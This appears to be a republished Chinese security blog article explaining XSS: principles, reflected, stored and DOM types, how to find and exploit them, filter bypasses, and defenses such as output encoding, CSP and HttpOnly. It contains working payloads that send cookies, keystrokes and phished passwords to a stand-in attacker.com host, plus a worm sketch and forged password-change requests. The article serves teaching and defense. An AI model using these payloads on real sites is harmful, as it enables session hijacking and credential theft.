当前位置： 首页 > news >正文

XSS漏洞深度解析：从原理到实战攻防与防御策略

news 2026/7/3 14:35:39

1. 项目概述：从“弹个窗”到“偷走你的Cookie”

如果你刚开始接触网络安全，可能会觉得XSS（跨站脚本攻击）不就是“弹个窗”吗？alert(1)一执行，漏洞就找到了，好像没什么大不了的。我最初也是这么想的，直到有一次在真实的渗透测试中，我眼睁睁看着一个存储型XSS漏洞，在后台静默运行了三天，不仅窃取了上百个管理员会话Cookie，还通过伪造请求，批量篡改了网站的核心数据。那一刻我才明白，XSS远非一个简单的弹窗警告，它是一个能撬开整个Web应用大门的、极其危险的“隐形刺客”。

简单来说，XSS攻击的核心，是攻击者将恶意的脚本代码（通常是JavaScript）“注入”到目标网站中，当其他用户（受害者）的浏览器加载并执行了这些本不该存在的代码时，攻击就发生了。受害者浏览器会认为这些脚本来自它信任的网站（因为确实是从该网站加载的），从而毫无戒备地执行，导致Cookie被盗、页面被篡改、键盘记录、甚至结合其他漏洞进一步攻陷服务器。

这个学习笔记，是我从“知道XSS”到“真正理解并能在实战中挖掘、利用、防御XSS”的阶段性总结。它不会停留在概念上，而是会深入到原理、拆解各种分类的利用场景、提供可直接复用的POC（概念验证代码），并最终落脚于如何从开发和安全两个角度进行有效防御。无论你是想通过CTF比赛巩固基础，还是准备投身于实际的渗透测试或安全开发工作，这些从真实踩坑中提炼出的内容，或许能帮你少走一些弯路。

2. XSS漏洞核心原理深度拆解

要真正理解XSS，不能只记住“输入未过滤导致脚本执行”这句话。我们需要深入到浏览器和服务器交互的细节中，看看漏洞究竟是如何产生的。

2.1 信任的边界是如何被打破的？

Web安全的基石之一是“同源策略”（Same-Origin Policy）。它规定，来自A站点的脚本，不能访问B站点的数据（如Cookie、DOM）。这就像每个小区都有门禁，只允许本小区居民进入。XSS攻击的精妙（或者说可恶）之处在于，它并不直接挑战这个门禁。相反，它通过欺骗手段，让自己变成“本小区居民”。

攻击路径是这样的：

  1. 输入点：网站存在一个允许用户输入数据并展示出来的地方。比如搜索框、评论框、个人资料昵称、文章内容编辑器等。这是攻击的“入口”。
  2. 缺乏净化：网站在接收这些用户输入的数据后，没有进行充分的过滤、转义或编码，就将其直接拼接进HTML页面、JavaScript代码或DOM属性中。这是漏洞的“根源”。
  3. 恶意构造：攻击者提交的并非普通文本，而是一段精心构造的、包含HTML标签和JavaScript代码的字符串。
  4. 错误信任：服务器将这段恶意字符串存储或反射回页面，浏览器在渲染页面时，将其视为页面合法的一部分进行解析和执行。
  5. 越权执行：恶意脚本在受害者的浏览器上下文中执行。由于浏览器认为它来自当前访问的“可信”网站，因此脚本可以访问该网站域名下的Cookie、LocalStorage，操作DOM，甚至以受害者的身份发起请求（如转账、改密）。

注意：这里的关键是“上下文”。XSS脚本执行的环境是受害者的浏览器，攻击的目标也是受害者（或其他访问该页面的用户），而非直接攻击服务器。服务器在这里扮演了一个“不设防的信使”角色。

2.2 一个被忽视的关键细节：编码与解析顺序

很多初学者知道要把<转义成&lt;，但为什么有时候转了还是出问题？这就涉及到浏览器的解析顺序。

浏览器渲染页面是一个多阶段的过程：

  1. HTTP响应：服务器返回原始的HTML字节流。
  2. HTML解析：浏览器将字节流解码为字符，并开始构建DOM树。遇到<script>标签会启动JavaScript解析器。
  3. JavaScript执行：解析器执行脚本内容。
  4. URL解码：在处理如href、src等属性中的URL时，会进行解码。
  5. 事件触发：页面加载完成或用户交互触发事件处理函数。

漏洞常出现在编码不一致的地方。例如：

  • 用户输入%3Cscript%3Ealert(1)%3C/script%3E（URL编码）。
  • 服务器直接将其放入HTML：<a href="USER_INPUT">点击</a>，变成了<a href="%3Cscript%3Ealert(1)%3C/script%3E">点击</a>。
  • 此时，HTML解析器看到的href属性值是一串普通字符，没有威胁。
  • 但是，如果这个链接被点击，浏览器在跳转前会对href的URL值进行解码！解码后变成了<script>alert(1)</script>。如果这个URL恰好是javascript:协议（如javascript:alert(1)），那么解码后的脚本就会执行。这就是为什么仅仅做HTML实体编码可能不够，需要根据输出上下文进行针对性编码。

我个人的一个深刻教训是：在一次代码审计中，我发现一个输出到<div>内的变量已经做了HTML编码，以为万无一失。但后来发现，这个变量在另一个地方被用作jQuery选择器的一部分：$(‘#’ + userInput).show()。攻击者可以输入"><img src=x onerror=alert(1)>，经过HTML编码后变成纯文本，无法触发XSS。然而，在jQuery的上下文中，userInput被拼接进字符串并作为选择器求值。如果输入是#，jQuery会尝试选择ID为空的元素，这通常无害。但如果输入是<script>alert(1)</script>（编码后），它仍然是字符串，不会执行。真正的危险在于，攻击者可以输入反引号`来闭合字符串，然后执行函数。例如输入`);alert(1);//，最终拼接成的代码是$(‘#);alert(1);//‘).show()`，这就成功注入了。这个案例告诉我，安全必须结合上下文。

3. XSS的三种主要分类与实战利用场景

根据恶意脚本的“来源”和“存储”位置，XSS主要分为三类。理解它们的区别，对漏洞挖掘和利用至关重要。

3.1 反射型XSS：一次性的“钓鱼钩”

反射型XSS（Reflected XSS）是最常见，也相对容易理解的一种。恶意脚本并未存储在服务器上，而是“反射”在服务器的响应中。通常伴随着一次用户交互（如点击一个特制链接）。

典型场景：

  1. 网站有一个搜索功能，搜索关键词会显示在结果页面上：“您搜索的关键词是：[keyword]”。
  2. 攻击者构造一个URL：https://victim.com/search?q=<script>alert(document.cookie)</script>。
  3. 攻击者通过邮件、社交网站等渠道，诱骗受害者点击这个链接。
  4. 受害者点击后，浏览器向victim.com发起请求，参数q中包含恶意脚本。
  5. 服务器未过滤，直接将q的值拼接到HTML响应中返回。
  6. 受害者的浏览器接收到响应，解析并执行了其中的<script>标签，攻击完成。

实战利用要点：

  • 短平快：通常需要诱骗用户点击，属于“一次性”攻击。
  • 常用于钓鱼：结合短域名、伪装成正常链接等方式，提高点击率。
  • POC示例：不仅仅是alert。一个更有说服力的POC是窃取Cookie并发送到攻击者服务器。
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>
  • 高级技巧：利用URL缩短服务、将XSS向量编码在URL片段（#后面，不会发送到服务器但浏览器能处理）等方式，绕过一些简单的黑名单过滤。

3.2 存储型XSS：潜伏的“定时炸弹”

存储型XSS（Stored XSS 或 Persistent XSS）危害性最大。恶意脚本被永久地存储在目标服务器的数据库、文件系统或其他存储介质中（如文章评论、用户昵称、论坛帖子、客服聊天记录）。所有后续访问相关页面的用户，都会在不知情的情况下执行这段恶意脚本。

典型场景：

  1. 一个博客网站允许用户发表评论，评论内容直接显示在文章下方。
  2. 攻击者在评论框中提交：<img src="x" onerror="stealCookie()">。
  3. 服务器未过滤，将此评论存入数据库。
  4. 此后，任何访问这篇博客文章的用户，浏览器都会加载这条评论，尝试加载一个不存在的图片x，触发onerror事件，执行stealCookie()函数，导致Cookie被窃。

实战利用要点：

  • 危害扩散性极强：一次注入，影响所有访问者，无需重复诱骗。
  • 常用于“水坑攻击”：在目标用户经常访问的站点（如内部论坛、知名社区）植入后门。
  • 结合CSRF威力倍增：利用存储的XSS脚本，可以自动向服务器发起伪造请求（如修改其他用户密码、发布不良信息），因为请求携带了受害者的合法Cookie。
  • POC示例（蠕虫思路）：在社交网站中，让恶意脚本在用户访问时，自动用该用户的账号发布一条包含同样恶意脚本的动态，从而实现自我传播。
<script> // 伪代码，需根据实际网站API调整 var xhr = new XMLHttpRequest(); xhr.open('POST', '/api/post_status', true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.withCredentials = true; // 携带Cookie var payload = '<script>...同样的恶意代码...</script>'; xhr.send(JSON.stringify({content: "快看这个！" + payload})); </script>

注意：这种蠕虫式攻击对社交平台是毁灭性的，也是各大厂安全测试的重中之重。

3.3 DOM型XSS：纯前端的“影子舞者”

DOM型XSS（DOM-based XSS）是一种比较特殊的类型。漏洞的根源不在于服务器响应中包含了恶意脚本，而在于前端JavaScript代码不安全地操作了DOM。攻击载荷可能从未到达服务器，而是在客户端被解析和执行。

典型场景：

  1. 网站有一个功能，通过URL参数#default=English来设置页面语言。
  2. 前端JavaScript代码有如下逻辑：
var lang = document.location.hash.substring(8); // 获取 #default= 后面的值 document.write("<option value=" + lang + ">" + lang + "</option>");
  1. 攻击者构造URL：https://victim.com/settings#default=English<script>alert(1)</script>。
  2. 受害者访问该URL。
  3. 前端JS从URL片段（hash）中提取出lang的值为English<script>alert(1)</script>。
  4. document.write将其直接拼接进HTML，导致<script>标签被写入DOM并执行。

实战利用要点：

  • 服务器可能无感知：因为攻击载荷在#后面，浏览器不会将其发送到服务器，传统的WAF或服务器端日志可能无法检测。
  • 源（Source）与汇（Sink）：分析DOM型XSS，要找到不可信的“数据源”（Source，如document.location、document.referrer、window.name、localStorage），以及危险的“数据汇”（Sink，即能导致脚本执行的函数，如innerHTML、outerHTML、document.write、eval、setTimeout、location.href的javascript:协议等）。
  • POC示例：利用innerHTML的常见漏洞。
<!-- 假设页面有 <div id="msg"></div> --> <script> // 从URL获取错误信息并显示 var error = new URLSearchParams(window.location.search).get('error'); if(error) { document.getElementById('msg').innerHTML = "错误：" + error; // Sink点 } </script>

攻击者URL：.../page?error=<img src=x onerror=alert(1)>。innerHTML会将字符串解析为HTML元素，img标签的onerror事件被触发。

  • 排查难点：需要人工或使用工具（如DOM Invader）跟踪数据从Source到Sink的流动路径，判断中间是否有有效的过滤或编码。

4. 从挖掘到利用：手把手实战XSS漏洞

知道原理和分类后，我们更需要知道怎么找、怎么用。下面是我总结的一套实战流程。

4.1 漏洞挖掘：不只是输入<script>

第一步：全面枚举输入点不要只盯着表单。任何客户端可控、能影响输出内容的地方都可能是入口：

  • URL参数：?q=,?id=,?redirect=
  • URL路径：/user/[username]
  • HTTP请求头：User-Agent,Referer,X-Forwarded-For（如果这些信息会被记录并显示在管理后台）
  • 文件上传点：上传文件名、文件元数据（如图片的EXIF信息，如果被读取显示）。
  • WebSocket消息：聊天应用、实时通知等。
  • 客户端存储：如果localStorage或Cookie的值会被读出来并动态写入页面。

第二步：多维度测试Payload不要只用一种Payload。针对不同的上下文，使用不同的测试字符串：

  1. 基础探测：“><script>alert(1)</script>，’onmouseover=’alert(1)，<img src=x onerror=alert(1)>。
  2. 事件处理器：适用于HTML标签属性。onload,onerror,onmouseover,onfocus,onblur等。例如：<svg onload=alert(1)>。
  3. JavaScript伪协议：用于href、src、iframe等支持URL的属性。javascript:alert(1)。注意：现代浏览器会对javascript:协议的内容进行一定限制，但在某些上下文（如<a href>）中仍可能有效。
  4. DOM型探测：使用#或?参数，配合页面JS逻辑。例如：#default=<img onerror=alert(1)>。使用浏览器开发者工具的“调试器”（Debugger），在可能的Sink函数（如innerHTML=、document.write）处设置断点，观察数据流。
  5. 绕过过滤测试：
    • 大小写混淆：<ScRiPt>,<IMG SRC=x ONERROR=alert(1)>
    • 标签属性分割：<img src=”x” alt=””onerror=alert(1)（利用属性间空格）
    • 编码绕过：
      • HTML实体：&lt;script&gt;alert(1)&lt;/script&gt;（如果输出点在<textarea>或<script>标签内，可能被解码）。
      • URL编码：%3Cscript%3Ealert(1)%3C/script%3E（用于URL参数）。
      • Unicode编码：\u003cscript\u003e（在某些JS上下文中）。
    • 使用非常规标签/属性：<details open ontoggle=alert(1)>，<svg><script>alert(1)</script>，<body onload=alert(1)>。

第三步：观察输出位置与上下文提交Payload后，用开发者工具（F12）的“元素”（Elements）面板，仔细查看你的输入被放置在了哪里：

  • 是在HTML标签内（如<div> [输出] </div>）？
  • 是在HTML标签的属性里（如<input value=”[输出]”>）？
  • 是在JavaScript代码块中（如var name = “[输出]”;）？
  • 是在CSS样式里（如style=”color: [输出]”）？

不同的上下文，需要不同的Payload和编码方式。

4.2 漏洞利用：超越alert(1)的实战价值

证明漏洞存在用alert(1)就够了，但真正的利用要获取实际利益。

场景一：会话劫持（Cookie窃取）这是最直接的目标。获取到用户的会话Cookie，就能以该用户的身份登录系统。

<script> var img = new Image(); img.src = ‘https://attacker.com/collect?cookie=’ + encodeURIComponent(document.cookie); </script>

在攻击者服务器（attacker.com）上，只需一个能记录请求参数的脚本即可（如PHP的file_put_contents，Python的http.server记录日志）。

实操心得：现在很多关键应用（如银行、邮箱）的Cookie会设置HttpOnly属性，阻止JavaScript通过document.cookie读取。但这不意味着XSS失效，我们还可以进行下一步。

场景二：发起伪造请求（CSRF via XSS）既然脚本能在用户上下文执行，它就能以用户的身份，向该网站发起任何请求（GET/POST），并自动携带Cookie（包括HttpOnly的Cookie）。

<script> // 伪造一个修改邮箱的POST请求 var xhr = new XMLHttpRequest(); xhr.open(‘POST’, ‘/api/change_email’, true); xhr.setRequestHeader(‘Content-Type’, ‘application/json’); xhr.withCredentials = true; // 关键：携带跨域Cookie（需目标站点配置CORS，但同域请求无此问题） xhr.send(JSON.stringify({newEmail: ‘attacker@evil.com’})); // 或者更简单，创建一个表单自动提交 var form = document.createElement(‘form’); form.action = ‘/change_password’; form.method = ‘POST’; var input = document.createElement(‘input’); input.name = ‘new_password’; input.value = ‘hacked123’; form.appendChild(input); document.body.appendChild(form); form.submit(); </script>

通过这种方式，可以完成修改密码、转账、发布信息、甚至提升权限等操作。

场景三：键盘记录与钓鱼在页面中植入一个透明的覆盖层（iframe或div），监听用户的键盘事件，窃取输入的账号密码。

<script> document.onkeypress = function(e) { var key = String.fromCharCode(e.keyCode || e.which); // 将按键发送到攻击者服务器 new Image().src = ‘https://attacker.com/keylog?k=’ + key; } // 或者，直接伪造一个登录框覆盖原页面 var fakeLogin = document.createElement(‘div’); fakeLogin.innerHTML = ‘<h3>会话过期，请重新登录</h3><input id=”user” placeholder=”用户名”><input id=”pass” type=”password” placeholder=”密码”><button onclick=”steal()”>登录</button>’; fakeLogin.style = ‘position:fixed; top:0; left:0; width:100%; height:100%; background:white; z-index:9999;’; document.body.appendChild(fakeLogin); function steal() { var u = document.getElementById(‘user’).value; var p = document.getElementById(‘pass’).value; new Image().src = ‘https://attacker.com/steal?u=’+u+’&p=’+p; alert(‘登录失败，请稍后再试’); // 欺骗用户 document.body.removeChild(fakeLogin); // 移除覆盖层，让用户以为只是登录出错 } </script>

场景四：结合其他漏洞扩大战果

  • 与CSRF结合：用XSS读取页面中的CSRF Token，然后构造一个合法的伪造请求，绕过CSRF防护。
  • 探测内网：利用受害者的浏览器作为代理，扫描其内网资源（“浏览器作为攻击面”）。
  • 配合漏洞获取更高权限：如果受害者是管理员，XSS脚本可以访问管理后台功能，可能发现更多的漏洞或直接进行后台操作。

5. 防御之道：从开发到运维的全链路防护

防御XSS是一个系统工程，需要在数据流动的每一个环节设置检查点。

5.1 输入验证：第一道防火墙

原则：在最早可能的地方，对数据进行规范化和验证。

  • 定义白名单：根据业务逻辑，明确每个输入字段允许的字符集。例如，用户名只允许字母数字和特定符号，邮箱地址必须符合邮箱格式，数字字段必须为数字。
  • 使用严格的正则表达式：验证而不仅仅是过滤。对于复杂内容（如富文本），白名单比黑名单有效得多。黑名单（禁止<script>）很容易被绕过。
  • 规范化：将输入转换为标准格式。例如，URL编码解码、统一字符编码（UTF-8）。
  • 注意：输入验证不能完全替代输出编码，因为数据可能在多个系统间流转，上下文会变化。输入验证是保证数据“合法”，输出编码是保证数据“安全”。

5.2 输出编码：最核心的防御手段

原则：根据数据最终被放置的上下文，进行针对性的编码。这是防御XSS最有效、最根本的方法。编码的目的是将数据中的特殊字符转换为它们的转义形式，使其被解释为普通文本，而非代码。

输出上下文危险字符示例编码方式编码后示例（输入为<script>）
HTML Body(标签之间)< > & ‘ “HTML实体编码&lt;script&gt;
HTML Attribute(属性值)同上，尤其是‘ “HTML属性编码（通常也用HTML实体）&lt;script&gt;(属性值需用引号包裹)
JavaScript(在<script>标签内或事件属性中)‘ “ \ & < > 换行符JavaScript Unicode转义或十六进制编码\u003cscript\u003e或\x3cscript\x3e
URL(在href,src等属性中)除字母数字外的几乎所有字符URL百分比编码%3Cscript%3E
CSS(在style属性或标签中); : ( ) & < > ‘ “CSS编码\3c script\3e

现代前端框架的自动编码：

  • React：默认会对在JSX中通过花括号{}插入的所有变量进行转义，将其转换为字符串。除非你使用dangerouslySetInnerHTML。
  • Vue.js：双花括号{{ }}插值也会自动进行HTML转义。使用v-html指令时需要格外小心。
  • Angular：默认的插值绑定{{ }}也是安全的。使用[innerHTML]属性绑定时需谨慎。

重要提示：即使使用了这些框架，如果你在框架之外手动操作DOM（例如直接使用innerHTML、document.write，或与第三方不安全的库交互），防护就会失效。永远不要相信来自用户或第三方API的数据，除非你明确对其进行了编码。

5.3 利用安全机制：浏览器的盟友

  • Content Security Policy (CSP)：这是防御XSS的终极武器之一。CSP通过HTTP头告诉浏览器，哪些来源的资源（脚本、样式、图片、字体等）是可信的，可以执行或加载。

    • 示例策略：Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com; object-src ‘none’;
    • 这条策略意味着：默认只允许加载同源资源；脚本只允许来自同源和https://trusted.cdn.com；完全禁止<object>、<embed>、<applet>等标签。即使页面被注入了<script src=”http://evil.com/bad.js”>，浏览器也会拒绝加载和执行。
    • 报告模式：可以先启用Content-Security-Policy-Report-Only头，只报告违规行为而不阻止，用于调试策略。
    • 注意事项：配置不当的CSP（如允许unsafe-inline或unsafe-eval）会大大削弱其防护能力。CSP不是银弹，需与输出编码结合使用。

  • HttpOnly Cookie：为会话Cookie设置HttpOnly标志。这样，JavaScript就无法通过document.cookieAPI读取该Cookie，可以有效缓解Cookie窃取攻击。但这不影响XSS脚本以用户的身份发起请求（因为请求会自动携带Cookie）。

  • 输入长度限制：对明显的输入字段（如搜索框、评论）进行前端和后端的长度限制，可以增加构造复杂Payload的难度，但绝非主要防御手段。

5.4 安全开发与测试流程

  • 安全编码规范：团队内制定并推行安全编码规范，明确禁止使用innerHTML、outerHTML、document.write等危险函数，强制使用安全的API（如textContent、setAttribute）。
  • 使用安全的模板引擎：确保使用的模板引擎（如Jinja2, Thymeleaf, Handlebars等）默认开启自动转义，或使用其安全输出函数（如{{ variable | escape }}）。
  • 自动化代码审计（SAST）：在CI/CD流程中集成静态应用安全测试工具，自动扫描代码库中不安全的函数调用和潜在漏洞模式。
  • 定期渗透测试与漏洞扫描：除了自动化工具，定期进行人工渗透测试，模拟攻击者的思路和方法，发现工具无法发现的逻辑漏洞和复杂的利用链。
  • 安全知识培训：让所有开发者，特别是前端开发者，理解XSS的原理、危害和防御方法，从源头减少漏洞引入。

6. 常见问题与排查技巧实录

在实际挖掘和修复XSS漏洞的过程中，会遇到各种各样的问题。这里记录了一些典型场景和解决思路。

6.1 为什么我的Payload没弹窗？

  1. 检查输出上下文：用开发者工具查看你的输入被放在页面的哪个位置。是在<script>标签里，还是在HTML属性里？Payload必须匹配上下文。
  2. 检查过滤与编码：查看页面源代码（不是“检查元素”，因为“检查元素”显示的是动态DOM），看你的输入被服务器或前端JS处理成了什么样。是不是<被转义成了&lt;？
  3. 检查事件触发条件：onerror需要资源加载失败，onmouseover需要鼠标划过。你的Payload满足触发条件吗？可以尝试使用onload事件（如<svg onload=alert(1)>），它一旦加载即触发。
  4. 浏览器XSS过滤器干扰：现代浏览器（如Chrome的XSS Auditor历史版本，Edge等）内置了反射型XSS过滤器。它们可能拦截某些简单的Payload。尝试使用更复杂、混淆的Payload，或者将攻击从反射型转为存储型/DOM型来测试。
  5. CSP阻止：检查HTTP响应头是否有Content-Security-Policy。如果有，并且策略禁止内联脚本（script-src不包含‘unsafe-inline’），那么<script>alert(1)</script>这种内联脚本是不会执行的。你需要尝试其他向量，如通过允许的外部域加载脚本，或使用其他标签的事件处理器（如果CSP没有限制）。

6.2 输入被过滤了，如何绕过？

这是XSS挑战中最有趣的部分。需要根据过滤规则随机应变。

  • 情景A：过滤了<script>和onerror等关键词

    • 尝试大小写：<ScRiPt>，<IMG onERROR=alert(1)>
    • 尝试嵌套标签：<scr<script>ipt>alert(1)</scr</script>ipt>（如果过滤是简单的字符串替换，可能会移除中间的<script>，剩下外层的<script>和</script>重新组合）。
    • 使用非标准标签或事件：<svg><script>alert(1)</script>，<body onload=alert(1)>，<details open ontoggle=alert(1)>。
    • 利用HTML解析特性：<img src=”x” alt=””onerror=alert(1)>（在alt=””后不加空格直接接onerror，有些过滤器可能匹配不到）。

  • 情景B：输出点在JavaScript字符串中

    • 例如：<script>var name = ‘[用户输入]’; </script>
    • 目标：闭合字符串，插入代码。
    • Payload：’; alert(1); //
    • 结果：var name = ‘’; alert(1); //’;注释掉了后面的单引号。
    • 如果引号被转义：输入\’; alert(1); //， 可能变成var name = ‘\\’; alert(1); //’;， 第一个反斜杠转义了第二个，使得单引号仍然被转义，需要进一步测试。

  • 情景C：输出点在HTML标签属性内，但引号被过滤

    • 例如：<input value=”[用户输入]”>
    • Payload：” onfocus=alert(1) autofocus=”（假设页面加载后该输入框会自动聚焦）
    • 结果：<input value=”” onfocus=alert(1) autofocus=””>， 添加了新的事件属性。
    • 如果空格和事件名也被过滤：可能需要尝试不使用空格，或者利用Tab符（%09）、换行符（%0a）进行分割，这取决于浏览器的HTML解析器是否宽容。

6.3 如何验证HttpOnly Cookie防护是否生效？

  1. 查看Cookie：在浏览器开发者工具的“应用程序”（Application）标签页中，查看该网站的Cookie。如果会话Cookie的“HttpOnly”列被勾选，则说明已设置。
  2. 尝试读取：在浏览器控制台（Console）中输入document.cookie并执行。如果看不到那个关键的会话Cookie（通常叫sessionid,PHPSESSID,JSESSIONID等），则说明HttpOnly生效。
  3. 理解局限：HttpOnly只防读取，不防使用。XSS脚本仍然可以发起携带该Cookie的请求。因此，防御的核心仍然是防止脚本注入。

6.4 在CTF或靶场中遇到XSS挑战的思路

CTF（Capture The Flag）中的XSS题目往往设置了层层过滤，是练习绕过技巧的好地方。

  1. 信息收集：首先尝试输入一些无害的测试字符串，如aaaa‘“<>，查看输出位置和过滤情况。
  2. 黑盒测试：系统性地尝试各种Payload，从简单到复杂，观察响应。
  3. 代码审计（如果有源码）：如果是白盒或提供了源码，仔细阅读服务器端和前端处理输入的逻辑。寻找过滤函数、正则表达式、替换规则。常见的漏洞模式是：str_replace(‘<script>’, ”, $input)（只替换一次），或者preg_replace(‘/script/i’, ”, $input)（不处理大小写混淆但可能处理了嵌套）。
  4. 利用编码：尝试多重编码。例如，服务器可能先URL解码，再HTML解码。那么你可以提交%253Cscript%253E（%3C是<的URL编码，%25是%的URL编码）。服务器第一次解码得到%3Cscript%3E，第二次解码得到<script>。
  5. 利用JavaScript特性：例如，利用eval(String.fromCharCode(...))来执行代码，避免直接出现关键词。或者利用location.hash、window.name等作为源，配合eval或innerHTML等Sink点。

XSS漏洞的挖掘和防御是一场永无止境的攻防战。攻击者在不断寻找新的利用方式和绕过技巧，而防御者则需要构建多层次、纵深的安全体系。对于开发者而言，将“输出编码”作为肌肉记忆，并善用CSP等现代安全特性，是构建坚固防线的关键。对于安全研究者而言，理解原理、熟悉各种上下文、保持对新技术和新绕过方法的关注，才能更有效地发现和应对威胁。这份笔记记录了我从入门到中级阶段的一些核心认知和实战经验，希望能成为你探索Web安全世界的一块有用的垫脚石。真正的精通，还需要在大量的实战靶场、代码审计和渗透测试项目中不断磨练。

http://www.jsqmd.com/news/1115903/

相关文章：

  • IIM-42652与TM4C1294的6DoF运动追踪系统开发指南
  • 3分钟上手：ChanlunX缠论可视化插件如何让股票分析变得简单高效
  • 什么是AI无感出勤？通芝科技解读其在复杂用工合规管理中的核心价值
  • 多业态集团预算难管？一套C1能不能hold住所有板块？
  • KMR221与PIC18F25K40实现高精度电压监测方案
  • 如何借助openeuler/agentic-engineering-team实现无缝人机协作？从需求到维护全流程解析
  • Java项目本地跑通却无法分享？用Tomcat+cpolar搭建可远程访问的演示环境
  • 终极指南：如何使用MoocDownloader轻松离线下载中国大学MOOC课程
  • PIC18F47Q10与IS31FL3731驱动LED矩阵开发指南
  • TIDAL无损音乐下载终极指南：免费获取24-bit/192kHz高解析度音频的完整教程
  • 计算机毕业设计之基于的SSM校园共享自行车出租管理系统
  • DC-DC降压转换与MP8859电源管理IC应用实践
  • 为什么选择Kiran Menu？5大理由让Mate Desktop体验升级
  • TC78H660FTG与PIC18F86J50的直流电机驱动系统设计
  • 深入解析Watir与Selenium WebDriver的底层驱动原理与架构设计
  • 终极指南：如何用Harepacker-resurrected一站式编辑MapleStory游戏文件
  • RTSP摄像头接入AI分析性能优化指南
  • 如何通过Native-Turbo提升大型应用性能？微架构优化技术深度揭秘
  • 基于25CSM04与PIC18F85K90的高速SPI数据存储与检索方案
  • MC6470 IMU与PIC32MZ微控制器的运动控制方案
  • 国产企业级Agent大模型产品对比：2026年主流平台全景解析与选型参考
  • windows 直接下载docker镜像压缩包
  • STM32硬件去抖按键设计与中断优化实践
  • Montserrat字体完全指南：如何免费获得专业级排版效果
  • 零成本搭建可复现的提示工程实验平台
  • AI驱动的渗透测试工具PentestGPT：从原理到实战的完整指南
  • 集成电路产业多项动态更新，封装内存、价格调整与产能投资受关注
  • BepInEx插件框架终极指南：5分钟免费开启游戏模组世界
  • 2026秋招简历量激增：校招解决方案如何让招聘效率翻倍？
  • 纯视觉OCC技术原理与性能评测全解析